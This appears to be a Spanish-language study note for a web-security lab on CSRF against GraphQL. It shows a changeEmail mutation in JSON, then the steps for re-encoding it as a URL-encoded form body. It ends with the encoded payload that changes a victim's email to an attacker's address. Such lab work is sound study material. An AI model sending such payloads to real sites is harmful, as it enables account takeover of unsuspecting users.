5 - Performing CSRF exploits over GraphQL
Query en JSON :
{"query":
"mutation changeEmail($input: ChangeEmailInput!) {
changeEmail(input: $input) {
email
}
}",
"operationName":"changeEmail",
"variables": {"input":{"email":"dsfewf@fe.com"}}
}
Para pasarlo a x-www-form-urlencoded , clic derecho Change Request Method dos veces.
Cambiamos el body del json ,
Cambiamos la llave del query por un parámetro query
Cambiamos los espacios por +
Cambiamos los saltos de línea /n por %0A
Paréntesis url encodeados
: encodeados
en general todos los caracteres especiales menos números.
query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D